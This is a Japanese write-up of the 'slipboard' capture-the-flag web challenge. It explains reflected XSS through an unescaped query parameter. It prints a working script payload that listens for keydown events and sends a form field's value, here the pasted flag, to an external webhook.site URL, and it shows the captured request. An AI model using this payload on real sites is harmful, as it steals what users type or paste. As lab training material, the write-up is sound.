https://alpacahack.com/daily/challenges/slipboard

問題

bot.js を見ると

// Copy the credentials into the clipboard.
await page.type("#draft", FLAG);
await page.keyboard.down("Control");
await page.keyboard.press("A");
await page.keyboard.press("C");

// 中略 ...

await page.focus("#input");
await page.keyboard.down("Control");
await page.keyboard.press("V"); // Oops, no, I've accidentally pasted that!
await page.keyboard.up("Control");
await page.keyboard.down("Control");
await page.keyboard.press("A");
await page.keyboard.up("Control");
await page.keyboard.press("Backspace"); // ... but deleted it immediately ;-)

とのことなので、#input にフラグをペーストしたあとすぐに削除する仕組みである。消される前に flag を取得する必要がある。

ところで、index.js

const html = `
<!DOCTYPE html>
<html>
  <body>
    <form action="/submit" method="post">
      <input id="input" name="name" type="text">
      <input id="submit" type="submit" value="OK">
    </form>
    {{ yours }}
  </body>
</html>
`;

app.get("/", async (req, res) => {
  const page = html.replace('{{ yours }}', req.query.q || '');
  res.send(page);
});

とあるので #input 要素があるのと、 yours には URLパラメータの q を使えばなんでも入れられそうである。 したがって、flag を取得するために q をいじる必要がある。

考え方

q には <script> も入れ込むことができるので任意のコードを実行できる。 #input 要素の値が変化したときにこの値を外部に送信すればよいが、change イベントはなぜか動作しなかった。 代わりに Ctrl + V を押したときに発火する keydown イベントを使うことで、キーが押されたときに webhook.site のクエリに e.target.value (イベントの発火元 #input 要素の値) を入れ込むことにする。

Solve

http://[URL:PORT]/?q=%3Cscript%3Edocument.getElementById(%22input%22).addEventListener(%22keydown%22,%20(e)%20=%3E%20%7Bfetch(%60https://webhook.site/[YOUR_UUID_HERE]?q=$%7Be.target.value%7D%60)%7D)%3C/script%3E

最初に送られてくるリクエストにflagが存在する。

curl -X 'GET' '<https://webhook.site/[YOUR_UUID_HERE]?q=Alpaca{REDACTED}>' -H 'priority: u=1, i' -H 'accept-language: en-US,en;q=0.9' -H 'accept-encoding: gzip, deflate, br, zstd' -H 'referer: <http://web:3000/>' -H 'sec-fetch-dest: empty' -H 'sec-fetch-mode: cors' -H 'sec-fetch-site: cross-site' -H 'origin: <http://web:3000>' -H 'accept: */*' -H 'sec-ch-ua-mobile: ?0' -H 'sec-ch-ua: "Not/A)Brand";v="99", "Chromium";v="148"' -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36' -H 'sec-ch-ua-platform: "Linux"' -H 'host: webhook.site'

ちなみに、非同期的にリクエストが送られる都合上、その後の通信を見ると hello :) の一部や空文字列、flagが何度か送信される。